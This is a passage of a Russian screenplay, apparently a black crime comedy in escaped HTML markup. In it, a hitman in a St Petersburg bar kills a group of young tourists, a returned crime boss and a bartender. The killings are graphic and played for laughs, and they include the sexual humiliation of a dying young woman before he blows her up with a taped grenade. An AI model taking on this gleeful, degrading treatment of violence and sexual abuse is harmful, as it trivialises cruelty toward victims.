  &lt;p id=&quot;3MRL&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;q2QS&quot;&gt;Блин ну и где эти придурки шляются.&lt;/p&gt;
  &lt;p id=&quot;wWeQ&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;k9u6&quot;&gt;(смотрит на наручные часы)&lt;/p&gt;
  &lt;p id=&quot;HD8c&quot;&gt;             Так, нам скоро уже выходить.&lt;/p&gt;
  &lt;p id=&quot;HORI&quot;&gt;Достает телефон, открывает чат и начинает писать Павлу. &lt;/p&gt;
  &lt;p id=&quot;h3Uy&quot;&gt;             Странно.. &lt;/p&gt;
  &lt;p id=&quot;BMxO&quot;&gt;             Почему-то Паша не в сети..&lt;/p&gt;
  &lt;p id=&quot;6tqW&quot;&gt;             Телефон разрядился что-ли?&lt;/p&gt;
  &lt;p id=&quot;I1yn&quot;&gt;(обращаясь к Алине)&lt;/p&gt;
  &lt;p id=&quot;MC6u&quot;&gt;             Позвони своему, а?&lt;/p&gt;
  &lt;p id=&quot;4kQ6&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;eFa6&quot;&gt;(дуясь после стычки)&lt;/p&gt;
  &lt;p id=&quot;Lt7I&quot;&gt;             Да щас!&lt;/p&gt;
  &lt;p id=&quot;RHPU&quot;&gt;             Пусть первый звонит и извиняется!&lt;/p&gt;
  &lt;p id=&quot;Zddx&quot;&gt;             И шоб с цветами!&lt;/p&gt;
  &lt;p id=&quot;77XT&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;6d2i&quot;&gt;             Алин, дело серьезное. &lt;/p&gt;
  &lt;p id=&quot;VqEj&quot;&gt;             Их давно нет.&lt;/p&gt;
  &lt;p id=&quot;yJXs&quot;&gt;           &lt;/p&gt;
  &lt;p id=&quot;QAG2&quot;&gt;Алина достает розовый айфон и делает вызов.&lt;/p&gt;
  &lt;p id=&quot;VaTl&quot;&gt;В этот момент камера показывает залитый кровью, разбитый телефон, забитый в глотку Максу. &lt;/p&gt;
  &lt;p id=&quot;bBvd&quot;&gt;Телефон начинает светиться и вибрировать, красиво подсвечивая сильно избитое лицо своего бывшего владельца.&lt;/p&gt;
  &lt;p id=&quot;JgGW&quot;&gt;В этот момент в телефон влетает кулак Артура, разбивая окончательно. &lt;/p&gt;
  &lt;p id=&quot;VUwm&quot;&gt;Камера с ударом уходит в затемнение, дабы не пугать излишним мясом зрителей.&lt;/p&gt;
  &lt;p id=&quot;CG9Q&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;tNaP&quot;&gt;             Оч странно. &lt;/p&gt;
  &lt;p id=&quot;JkMb&quot;&gt;             Сначала гудки, теперь «абонент не в сети».&lt;/p&gt;
  &lt;p id=&quot;G5NE&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;5rHp&quot;&gt;             Да это все долбаный Питер. &lt;/p&gt;
  &lt;p id=&quot;4lZO&quot;&gt;             В этих дворах-колодцах — как в гробу.&lt;/p&gt;
  &lt;p id=&quot;gibb&quot;&gt;             Совсем сигнал не ловится.&lt;/p&gt;
  &lt;p id=&quot;6YGf&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;dhHM&quot;&gt;             (морщась)&lt;/p&gt;
  &lt;p id=&quot;ZrwJ&quot;&gt;             Я походу траванулась. Живот крутит. Отойду в дамскую комнату. &lt;/p&gt;
  &lt;p id=&quot;r9Bk&quot;&gt;             Cходи наверх чтоли, посмотри наших парней.&lt;/p&gt;
  &lt;p id=&quot;JohI&quot;&gt;             Наверное они просто с кем-то затусили.&lt;/p&gt;
  &lt;p id=&quot;n6Ai&quot;&gt;             Встретили кого-то из друзей.&lt;/p&gt;
  &lt;p id=&quot;TFSe&quot;&gt;             Стоят и обсуждают свой WoW,  как последние чмошники. &lt;/p&gt;
  &lt;p id=&quot;xJhC&quot;&gt;             Забыв про время.&lt;/p&gt;
  &lt;p id=&quot;vkLC&quot;&gt;             А мы тут дергаемся.&lt;/p&gt;
  &lt;p id=&quot;9Ulm&quot;&gt;Конец диалога уже в следующей сцене.&lt;/p&gt;
  &lt;h2 id=&quot;BxRK&quot;&gt;22. НАТ. ВЫХОД ИЗ БАРА&lt;/h2&gt;
  &lt;p id=&quot;2kDi&quot;&gt;Лиза стоит возле выхода из бара, в полном охренении от окружающего побоища. В глазах неописуемый ужас, в теле — паралич, в пустой голове — непонимание что делать дальше.&lt;/p&gt;
  &lt;p id=&quot;ESkR&quot;&gt;Камера показывает прислоненное к стене, окровавленное тело Макса, свесившего вниз остатки лица. &lt;/p&gt;
  &lt;p id=&quot;gg7p&quot;&gt;Затем Лиза замечает Артура, невозмутимо тянущего за ноги труп Павла, подальше от света улицы.&lt;/p&gt;
  &lt;p id=&quot;iQzu&quot;&gt;Артур насвистывает мелодию из «Бригады».&lt;/p&gt;
  &lt;p id=&quot;viaT&quot;&gt;Тут Артур замечает Лизу, видит что та вот-вот закричит, бросает Павла и быстро приближается к Лизе.&lt;/p&gt;
  &lt;p id=&quot;LmxL&quot;&gt;Парализованная от ужаса Лиза не понимает кто и зачем к ней приближается.&lt;/p&gt;
  &lt;p id=&quot;6CxL&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;nD2t&quot;&gt;(делая руками успокаивающий жест)&lt;/p&gt;
  &lt;p id=&quot;y4at&quot;&gt;             Все хорошо, успокойся. &lt;/p&gt;
  &lt;p id=&quot;gG4H&quot;&gt;             Я из полиции. &lt;/p&gt;
  &lt;p id=&quot;02vV&quot;&gt;             Это просто спецэффекты. Мы тут кино снимаем.&lt;/p&gt;
  &lt;p id=&quot;QwBa&quot;&gt;             Все под контролем.&lt;/p&gt;
  &lt;p id=&quot;tkZ3&quot;&gt;Обманув таким нехитрым образом бдительность малолетней идиотки, Артур наконец вплотную приближается к Лизе. &lt;/p&gt;
  &lt;p id=&quot;RTJR&quot;&gt;Одной рукой он закрывает ей рот, а в другой оказывается нож, которым он наносит быстрый удар в живот.&lt;/p&gt;
  &lt;p id=&quot;Hl9T&quot;&gt;Лиза не сразу понимает что произошло и почему она так быстро слабеет. Она подносит пальцы к животу и возвращает в кадр уже окровавленными.  &lt;/p&gt;
  &lt;p id=&quot;fFCu&quot;&gt;На лице появляется осознание и Лиза переносит полный страха взгляд на своего убийцу. Начинает плакать.&lt;/p&gt;
  &lt;p id=&quot;6J4y&quot;&gt;Тут она внезапно слабеет и чтобы не потерять равновесие вцепляется в Артура.&lt;/p&gt;
  &lt;p id=&quot;CfDo&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;wNAI&quot;&gt;(медленно помогая Лизе сесть на ступеньки у входа в бар)&lt;/p&gt;
  &lt;p id=&quot;wdxJ&quot;&gt;             Все хорошо. Все будет хорошо. &lt;/p&gt;
  &lt;p id=&quot;2eh6&quot;&gt;             Просто ты умираешь.&lt;/p&gt;
  &lt;p id=&quot;qkU9&quot;&gt;             Так бывает.&lt;/p&gt;
  &lt;p id=&quot;Qv74&quot;&gt;(пауза)&lt;/p&gt;
  &lt;p id=&quot;KxsZ&quot;&gt;             Увидишь на том свете кого из святых — попроси почаще заглядывать в наш замечательный город.&lt;/p&gt;
  &lt;p id=&quot;uCY3&quot;&gt;             Хотя-бы на Рубенштейна.&lt;/p&gt;
  &lt;p id=&quot;KIyU&quot;&gt;(задумавшись)&lt;/p&gt;
  &lt;p id=&quot;m2AM&quot;&gt;             А если будет кто с рогами и копытами — все равно зови.&lt;/p&gt;
  &lt;p id=&quot;8HTA&quot;&gt;             Для таких у нас тоже места есть, интересные. &lt;/p&gt;
  &lt;p id=&quot;bdOh&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;LGn2&quot;&gt;23. ИНТ. БАР&lt;/h2&gt;
  &lt;p id=&quot;N06Q&quot;&gt;Сильно заляпанный чужой кровью, в порванной одежде, с небольшими ссадинами и кровоподтеками, Артур спускается по ступенькам обратно в бар, проходит через помещение и садится за столик с Михаилом.&lt;/p&gt;
  &lt;p id=&quot;W6JA&quot;&gt;Михаил смотрит на него, замечает новый прикид и пытается понять как на это реагировать.&lt;/p&gt;
  &lt;p id=&quot;GMCI&quot; data-align=&quot;center&quot;&gt;МИХАИЛ&lt;/p&gt;
  &lt;p id=&quot;PQtq&quot;&gt;             Эээ.. полагаю встретил старых друзей?&lt;/p&gt;
  &lt;p id=&quot;HtTW&quot;&gt;(озираясь в поисках свидетелей)&lt;/p&gt;
  &lt;p id=&quot;2hHF&quot;&gt;             Мне проблемы не особо нужны..&lt;/p&gt;
  &lt;p id=&quot;LPyo&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;IaBF&quot;&gt;(медленно, по слогам)&lt;/p&gt;
  &lt;p id=&quot;IeLk&quot;&gt;             Тебе проблемы не нужны..&lt;/p&gt;
  &lt;p id=&quot;8Dks&quot;&gt;             Ну на-до же-ее..&lt;/p&gt;
  &lt;p id=&quot;WcTW&quot;&gt;             Кто бы мог подумать.&lt;/p&gt;
  &lt;p id=&quot;0i9X&quot;&gt;(пристально смотрит в глаза Михаилу)&lt;/p&gt;
  &lt;p id=&quot;rAJi&quot;&gt;             Но вот ты сидишь здесь, в этом подвале из девяностых. &lt;/p&gt;
  &lt;p id=&quot;dC9z&quot;&gt;             Весь такой красивый и современный.&lt;/p&gt;
  &lt;p id=&quot;JYLE&quot;&gt;             Затираешь про будущее, которое наступило.&lt;/p&gt;
  &lt;p id=&quot;UIZD&quot;&gt;             Типа «дорогу молодым» и как все кругом изменилось.&lt;/p&gt;
  &lt;p id=&quot;QE6q&quot;&gt;(показывает на окровавленную одежду)&lt;/p&gt;
  &lt;p id=&quot;J23W&quot;&gt;             Но видишь ли.&lt;/p&gt;
  &lt;p id=&quot;o3tN&quot;&gt;             Я тут недавно пообщался с подрастающим поколением.&lt;/p&gt;
  &lt;p id=&quot;BDyx&quot;&gt;Камера на миг показывает окровавленные трупы туристов. &lt;/p&gt;
  &lt;p id=&quot;pnkv&quot;&gt;             И теперь имею другое мнение, прикинь.&lt;/p&gt;
  &lt;p id=&quot;AbbU&quot;&gt;(процедив)&lt;/p&gt;
  &lt;p id=&quot;11ey&quot;&gt;             Ни-че-го не изменилось.&lt;/p&gt;
  &lt;p id=&quot;v9hG&quot;&gt;             По улицам бегают точно такие же молодые волки. Только заметно тупее.&lt;/p&gt;
  &lt;p id=&quot;J7rV&quot;&gt;             И жрут друг друга.&lt;/p&gt;
  &lt;p id=&quot;B7P0&quot;&gt;             А это значит..&lt;/p&gt;
  &lt;p id=&quot;CWRJ&quot;&gt;(задумавшись)&lt;/p&gt;
  &lt;p id=&quot;m7gg&quot;&gt;             Вот кстати.. &lt;/p&gt;
  &lt;p id=&quot;RSWB&quot;&gt;             Как ты сам думаешь, что это значит?&lt;/p&gt;
  &lt;p id=&quot;86vs&quot;&gt;Михаил пожимает плечами, в полной уверенности что они с Артуром договорились, не понимая что ситуация изменилась.&lt;/p&gt;
  &lt;p id=&quot;KotT&quot; data-align=&quot;center&quot;&gt;Артур&lt;/p&gt;
  &lt;p id=&quot;zk8I&quot;&gt;(с улыбкой)&lt;/p&gt;
  &lt;p id=&quot;0cTZ&quot;&gt;             А это значит, мой дорогой беглый друг..&lt;/p&gt;
  &lt;p id=&quot;FEvV&quot;&gt;             Что правила не изменились. &lt;/p&gt;
  &lt;p id=&quot;aqFc&quot;&gt;(берется за автомат, спрятанный под столом)&lt;/p&gt;
  &lt;p id=&quot;A63Y&quot;&gt;             ДОБРО ПОЖАЛОВАТЬ НА РОДИНУ МУДИЛА!&lt;/p&gt;
  &lt;p id=&quot;bsMR&quot;&gt;(расстреливает Михаила в упор)&lt;/p&gt;
  &lt;p id=&quot;rYVj&quot;&gt;Поскольку автомат был с глушителем, а расстрел происходит в подвале — к бару не стягиваются все возможные силовики и спецслужбы. &lt;/p&gt;
  &lt;p id=&quot;t33F&quot;&gt;К сожалению именно в этот момент с кухни возвращается бармен, неся заказанные компанией острые крылышки.&lt;/p&gt;
  &lt;p id=&quot;aWpk&quot;&gt;Заметив столь серьезные изменения в заведении, встает столбом и смотрит в немом изумлении то на Артура то на растерзанный труп Михаила, то на следы от пуль на стене.&lt;/p&gt;
  &lt;p id=&quot;SkYt&quot;&gt;Артур рывком вытаскивает автомат из-под стола и медленно наводит на бармена.&lt;/p&gt;
  &lt;p id=&quot;wl8b&quot;&gt;Делает знак — «подними руки вверх».&lt;/p&gt;
  &lt;p id=&quot;tSUJ&quot;&gt;Бармен не понимает и думая, что команда касалась тарелки с заказанной едой, медленно ставит их на ближайший столик.&lt;/p&gt;
  &lt;p id=&quot;eWeJ&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;6Hca&quot;&gt;(качая головой от такой идиотии)&lt;/p&gt;
  &lt;p id=&quot;uWy3&quot;&gt;             Руки подними, полудурок.&lt;/p&gt;
  &lt;p id=&quot;BkE9&quot;&gt;Артур не отрывая взгляда от бармена, одной рукой держит автомат а другой достает из сумки старый потертый ПМ.&lt;/p&gt;
  &lt;p id=&quot;oUuA&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;36qK&quot;&gt;(заметив взгляд бармена, направленный на навороченный автомат) &lt;/p&gt;
  &lt;p id=&quot;MRVk&quot;&gt;             Оружие импортное, патроны дорогие.&lt;/p&gt;
  &lt;p id=&quot;P4dM&quot;&gt;             Только для особых клиентов.&lt;/p&gt;
  &lt;p id=&quot;kHJ9&quot;&gt;             Ты же не обидишься?&lt;/p&gt;
  &lt;p id=&quot;VStc&quot;&gt;Бармен в недоумении кивает.&lt;/p&gt;
  &lt;p id=&quot;cPMo&quot;&gt;Артур стреляет из ПМ бармену в живот, но выстрел не убивает сразу.&lt;/p&gt;
  &lt;p id=&quot;agEb&quot;&gt;Бармен орет от боли и катается по полу.&lt;/p&gt;
  &lt;p id=&quot;PkUv&quot;&gt;Артур в это время медленно разбирает автомат, снимает глушитель и отсоединяет магазин, аккуратно складывая все в сумку под задорную музыку начала 90х.&lt;/p&gt;
  &lt;p id=&quot;MFmA&quot;&gt;Присаживается возле умирающего бармена. &lt;/p&gt;
  &lt;p id=&quot;kDq8&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;BMOj&quot;&gt;(с выражением)&lt;/p&gt;
  &lt;p id=&quot;6pSw&quot;&gt;             Все же расскажу, почему всегда заказываю Американо.&lt;/p&gt;
  &lt;p id=&quot;CCfi&quot;&gt;(бармен перестает стонать и с ужасом смотрит на Артура)&lt;/p&gt;
  &lt;p id=&quot;3Bpx&quot;&gt;             Потому что его нельзя испортить, представляешь?&lt;/p&gt;
  &lt;p id=&quot;Jd9C&quot;&gt;             Кофе, вода и молоко. &lt;/p&gt;
  &lt;p id=&quot;kwI4&quot;&gt;             И все. &lt;/p&gt;
  &lt;p id=&quot;OHCd&quot;&gt;             Все.&lt;/p&gt;
  &lt;p id=&quot;qZcr&quot;&gt;             Даже самый тупой подросток, не определившийся с полом или кривозубый бармен в убогом баре всегда могут приготовить сраную чашечку Американо.&lt;/p&gt;
  &lt;p id=&quot;68nT&quot;&gt;             Даже будучи насквозь упоротыми или в депрессии.              &lt;/p&gt;
  &lt;p id=&quot;dcNz&quot;&gt;             Но ты, мой друг, превзошел самые худшие ожидания.&lt;/p&gt;
  &lt;p id=&quot;sbLT&quot;&gt;             Cмог испоганить такой простой напиток.&lt;/p&gt;
  &lt;p id=&quot;yAmX&quot; data-align=&quot;center&quot;&gt;БАРМЕН&lt;/p&gt;
  &lt;p id=&quot;nhL6&quot;&gt;(из последних сил, корчась от боли)&lt;/p&gt;
  &lt;p id=&quot;1A2G&quot;&gt;             ПОШЕЛ НА..!&lt;/p&gt;
  &lt;p id=&quot;SCvl&quot;&gt;Закончить он не успевает, поскольку Артур добивает его выстрелом в упор. &lt;/p&gt;
  &lt;h2 id=&quot;cvUa&quot;&gt;24. НАТ. ВНУТРЕННИЙ ДВОР ПЕРЕД БАРОМ&lt;/h2&gt;
  &lt;p id=&quot;jOec&quot;&gt;Показывается летнее небо с красивыми облачками. Ветер качает развешанную сушиться одежду (все еще встречается в старых районах).&lt;/p&gt;
  &lt;p id=&quot;LLps&quot;&gt;Где-то вдалеке слышен детский смех и звуки большого города.&lt;/p&gt;
  &lt;p id=&quot;ix0b&quot;&gt;Камера переходит на мертвого Павла.&lt;/p&gt;
  &lt;p id=&quot;iV5B&quot;&gt;На труп садится голубь, курлыкает, затем начинает клевать мертвую руку.&lt;/p&gt;
  &lt;p id=&quot;lP5Y&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;kOWc&quot;&gt;25. ИНТ. БАР&lt;/h2&gt;
  &lt;p id=&quot;JIJa&quot;&gt;Переход камеры с живого голубя на зажаренные крылышки — с легким намеком на ход вещей.&lt;/p&gt;
  &lt;p id=&quot;pCXV&quot;&gt;Артур замечает оставленные барменом крылышки.&lt;/p&gt;
  &lt;p id=&quot;Ytsi&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;3B8x&quot;&gt;             О! Ну хоть что-то хорошее за сегодня.&lt;/p&gt;
  &lt;p id=&quot;qw7j&quot;&gt;Подбирает одно из зажаренных крылышек с тарелки, с хрустом и наслаждением начинает жевать.&lt;/p&gt;
  &lt;p id=&quot;PfeG&quot;&gt;Внезапно из уборной возвращается Алина. Копаясь в сумочке на ходу, он не сразу замечает отсутствие ребят и окружающий погром.&lt;/p&gt;
  &lt;p id=&quot;FC21&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;vx1p&quot;&gt;             Ребят, тут кухня не очень. &lt;/p&gt;
  &lt;p id=&quot;VlUd&quot;&gt;             Не налегайте на жратву. &lt;/p&gt;
  &lt;p id=&quot;nXFR&quot;&gt;             Она походу несвежая..&lt;/p&gt;
  &lt;p id=&quot;OVwv&quot;&gt;Услышав это, Артур перестает жевать и выплевывает остатки недоеденного.&lt;/p&gt;
  &lt;p id=&quot;H0lu&quot;&gt;Закрыв наконец сумочку, Алина поднимает голову и видит пустой столик, где сидела их компания. &lt;/p&gt;
  &lt;p id=&quot;3Hxu&quot;&gt;Посреди пустого зала.&lt;/p&gt;
  &lt;p id=&quot;L34l&quot;&gt;Труп бармена она пока не замечает.&lt;/p&gt;
  &lt;p id=&quot;4n2i&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;GOM0&quot;&gt;(озираясь)&lt;/p&gt;
  &lt;p id=&quot;j1FR&quot;&gt;             А.. а где все?&lt;/p&gt;
  &lt;p id=&quot;y97H&quot;&gt;(уставившись на Артура)&lt;/p&gt;
  &lt;p id=&quot;czBf&quot;&gt;             А вы кто?&lt;/p&gt;
  &lt;p id=&quot;RANk&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;GQsg&quot;&gt;             Друг семьи.&lt;/p&gt;
  &lt;p id=&quot;ysgn&quot; data-align=&quot;center&quot;&gt;АЛИНА&lt;/p&gt;
  &lt;p id=&quot;PH9e&quot;&gt;             Что.. чего? &lt;/p&gt;
  &lt;p id=&quot;hDHf&quot;&gt;             Какой семьи?&lt;/p&gt;
  &lt;p id=&quot;rKog&quot;&gt;Тут Алина наконец замечает ногу бармена, чей труп валяется на полу. Затем труп Михаила. И дырки от пуль в дальней стене.&lt;/p&gt;
  &lt;p id=&quot;qCxC&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;ALEx&quot;&gt;(доставая ПМ и наводя на Алину)&lt;/p&gt;
  &lt;p id=&quot;KtCm&quot;&gt;             Криминальной семьи.&lt;/p&gt;
  &lt;p id=&quot;gQjM&quot;&gt;От выстрела Алина отлетает к стойке и замирает.&lt;/p&gt;
  &lt;p id=&quot;u8OE&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;ALIK&quot;&gt;(проходя мимо трупа Алины)&lt;/p&gt;
  &lt;p id=&quot;QMeJ&quot;&gt;             И почему смерть всегда забирает самых красивых..&lt;/p&gt;
  &lt;p id=&quot;7lvL&quot;&gt;             В шалмане бы с тебя не слезали..&lt;/p&gt;
  &lt;p id=&quot;5qoZ&quot;&gt;Убирает ПМ, достает из сумки гранату, отрывает чеку и закатывает гранату по полу на кухню.&lt;/p&gt;
  &lt;p id=&quot;J8mu&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;2laX&quot;&gt;             Да и вообще мне ваш сервис никогда не нравился.&lt;/p&gt;
  &lt;p id=&quot;apRZ&quot;&gt;Артур перекидывает сумку через плечо и выходит из бара.&lt;/p&gt;
  &lt;p id=&quot;6ygS&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;ogWP&quot;&gt;26. НАТ. ВХОД В БАР.&lt;/h2&gt;
  &lt;p id=&quot;sViV&quot;&gt;Показывается залитая кровью подворотня, раскиданные по двору тела молодых туристов.&lt;/p&gt;
  &lt;p id=&quot;HQSW&quot;&gt;У входа в бар на ступеньках сидит едва живая залитая кровью Лиза, которую пырнули в живот. &lt;/p&gt;
  &lt;p id=&quot;YDGz&quot;&gt;Лизу плачет и прижимает руки к окровавленному животу.&lt;/p&gt;
  &lt;p id=&quot;iaVJ&quot;&gt;Артур выходя из бара, замечает Лизу и присаживается рядом.&lt;/p&gt;
  &lt;p id=&quot;K61j&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;0YCy&quot;&gt;             Понимаю, не самый лучший момент для подобных вопросов..&lt;/p&gt;
  &lt;p id=&quot;xH0x&quot;&gt;(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)&lt;/p&gt;
  &lt;p id=&quot;6Mgq&quot;&gt;             Но все же..&lt;/p&gt;
  &lt;p id=&quot;V0N7&quot;&gt;             Вы, ребята успели.. побывать в Эрмитаже?              &lt;/p&gt;
  &lt;p id=&quot;3reG&quot;&gt;(камера медленно обводит залитый кровью двор и валяющиеся трупы)&lt;/p&gt;
  &lt;p id=&quot;zFmL&quot;&gt;             Там просто невероятно красиво!&lt;/p&gt;
  &lt;p id=&quot;qsUF&quot;&gt;(оборачивась к Лизе и улыбаясь)&lt;/p&gt;
  &lt;p id=&quot;POIY&quot;&gt;            Кстати, у меня есть для тебя подарок.&lt;/p&gt;
  &lt;p id=&quot;03F8&quot;&gt;            Чтобы сделать этот день незабываемым.&lt;/p&gt;
  &lt;p id=&quot;eODE&quot;&gt;Артур достает из сумки гранату и скотч, кладет гранату в сложенные лодочкой руки Лизы, затем медленно обматывает ей руки вместе с гранатой скотчем.&lt;/p&gt;
  &lt;p id=&quot;CpJQ&quot;&gt;Лиза мелко дрожит, плачет и не может сопротивляться. &lt;/p&gt;
  &lt;p id=&quot;65Lv&quot; data-align=&quot;center&quot;&gt;АРТУР &lt;/p&gt;
  &lt;p id=&quot;UUrU&quot;&gt;(во время процесса)&lt;/p&gt;
  &lt;p id=&quot;Kr1x&quot;&gt;            Без обид, деточка.&lt;/p&gt;
  &lt;p id=&quot;CpAf&quot;&gt;            Понимаю что ты ждала от жизни другого.&lt;/p&gt;
  &lt;p id=&quot;h88D&quot;&gt;            Наверное у тебя были большие планы.&lt;/p&gt;
  &lt;p id=&quot;hkNR&quot;&gt;(продолжает обматывать гранату скотчем)&lt;/p&gt;
  &lt;p id=&quot;KooD&quot;&gt;            Мечты о лучшей жизни.&lt;/p&gt;
  &lt;p id=&quot;Ipqg&quot;&gt;            Но увы.&lt;/p&gt;
  &lt;p id=&quot;I7cO&quot;&gt;            Жизнь вот такое вот говно.&lt;/p&gt;
  &lt;p id=&quot;SAmA&quot;&gt;(глядя в глаза)&lt;/p&gt;
  &lt;p id=&quot;6hb9&quot;&gt;            Не люблю глумиться над убогими и умирающими, не тому меня мама учила.&lt;/p&gt;
  &lt;p id=&quot;bL2t&quot;&gt;            Но очень надо оставить знак.&lt;/p&gt;
  &lt;p id=&quot;NDK5&quot;&gt;Артур достает визитку Михаила, извлекает из сумки пачку меченых долларов и засовывает все это Лизе в трусы.&lt;/p&gt;
  &lt;p id=&quot;cRx3&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;ktUg&quot;&gt;(в процессе запихивания)&lt;/p&gt;
  &lt;p id=&quot;dKNy&quot;&gt;             Видишь ли, я сегодня слегка превысил свой лимит. &lt;/p&gt;
  &lt;p id=&quot;z9Lr&quot;&gt;Камера показывает залитый кровью двор и раскиданные в разных позах трупы.&lt;/p&gt;
  &lt;p id=&quot;Rr1b&quot;&gt;             Семь жмуров за раз.&lt;/p&gt;
  &lt;p id=&quot;yXaW&quot;&gt;Камера показывает крупно расстрелянного Михаила и труп бармена рядом на полу. Затем труп Алины с навечно застывшим изумлением на лице и дырой в красивом лбу.&lt;/p&gt;
  &lt;p id=&quot;raRo&quot;&gt;             На суицид ни один из них не потянет.&lt;/p&gt;
  &lt;p id=&quot;llJ1&quot;&gt;             Мой тариф «Криминальный» такое не покрывает, понимаешь?&lt;/p&gt;
  &lt;p id=&quot;6Jee&quot;&gt;             Придется доплачивать.&lt;/p&gt;
  &lt;p id=&quot;p6Jv&quot;&gt;             А я всегда огорчаюсь когда доплачиваю.&lt;/p&gt;
  &lt;p id=&quot;PUcL&quot;&gt;             Это не по христиански.&lt;/p&gt;
  &lt;p id=&quot;PeWu&quot;&gt;Наконец Артур заканчивает с Лизой и натягивает трусы обратно.&lt;/p&gt;
  &lt;p id=&quot;v348&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;eKG6&quot;&gt;            Не волнуйся деточка, это последний раз когда в тебе был мужчина.&lt;/p&gt;
  &lt;p id=&quot;udXB&quot;&gt;            Надеюсь низ хорошо сохранится.&lt;/p&gt;
  &lt;p id=&quot;jbr9&quot;&gt;            Жаль что вы ребята так и не успели побывать в Эрмитаже..&lt;/p&gt;
  &lt;p id=&quot;zWZz&quot;&gt;Артур вырывает чеку и быстро уходит из кадра.&lt;/p&gt;
  &lt;p id=&quot;qIqI&quot;&gt;Умирающая, плачущая, дрожащая от шока и ужаса, практически изнасилованная Лиза переводит взгляд с гранаты на экран, лицом к зрителю.&lt;/p&gt;
  &lt;p id=&quot;KPwR&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;MH0D&quot;&gt;             П..п..помогите..&lt;/p&gt;
  &lt;p id=&quot;ZphZ&quot;&gt;Какое время ничего не происходит. &lt;/p&gt;
  &lt;p id=&quot;IqiA&quot;&gt;Экран уходит в затемнение.&lt;/p&gt;
  &lt;p id=&quot;UELf&quot;&gt;Затем раздается взрыв.&lt;/p&gt;
  &lt;p id=&quot;9F23&quot;&gt;Взрыв переходит в праздничный салют с феерверками на фоне самых известных мест Санкт-Петербурга.&lt;/p&gt;
  &lt;p id=&quot;vnBc&quot;&gt;Появляется заставка:&lt;/p&gt;
  &lt;p id=&quot;ODB4&quot; data-align=&quot;center&quot;&gt;ВЕСЕЛЫЕ КАНИКУЛЫ&lt;/p&gt;
  &lt;p id=&quot;gySD&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;vqhX&quot;&gt;ТИТРЫ&lt;/h2&gt;
  &lt;p id=&quot;Zybh&quot;&gt;Пока идут титры, показывается дополнительная история, с рассказом о последующих событиях — в стиле репортажа.&lt;/p&gt;
  &lt;p id=&quot;RkxU&quot;&gt;Очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке смотрит на реку, слушает радио и курит сигару.&lt;/p&gt;
  &lt;p id=&quot;YIkz&quot;&gt;Кресло-каталка стоит на террасе загородного коттеджа, вид на реку Неву, съемка со спины, лица не видно.&lt;/p&gt;
  &lt;p id=&quot;bIV3&quot;&gt;По Неве плывет теплоход с туристами, по радио рассказывают новости.&lt;/p&gt;
  &lt;p id=&quot;hew3&quot;&gt;             Пятеро молодых туристов оказались жертвами жестоких криминальных разборок в северной столице..&lt;/p&gt;
  &lt;p id=&quot;Xhx5&quot;&gt;             Вчера днем в центре Санкт-Петербурга произошло массовое убийство..&lt;/p&gt;
  &lt;p id=&quot;qd4z&quot;&gt;             На месте происшествия найден мертвым известный в прошлом криминальный авторитет Миша Козырной, недавно вернувшийся в Россию после начала расследования Интерпола.&lt;/p&gt;
  &lt;p id=&quot;jXff&quot;&gt;             Найденные на месте улики показывают, что Козырной был связан с мексиканскими картелями и участвовал в незаконном обороте наркотиков.&lt;/p&gt;
  &lt;p id=&quot;z43t&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;XhjW&quot;&gt;             К другим новостям.&lt;/p&gt;
  &lt;p id=&quot;Z3m5&quot;&gt;             Домовитый бобр с Чёрной речки таки обрушил дерево на припаркованную машину у элитного ЖК — ровно то, чего и боялись местные жители. &lt;/p&gt;
  &lt;p id=&quot;W9uJ&quot;&gt;             На поимку лохматого даже вызывали спецов — но преступник оказался хитрее и быстрее человека с петлёй. &lt;/p&gt;
  &lt;p id=&quot;vA49&quot;&gt;             Жители разошлись во мнениях: жалко добряка или своё имущество. В итоге пока решили оставить всё как есть.&lt;/p&gt;

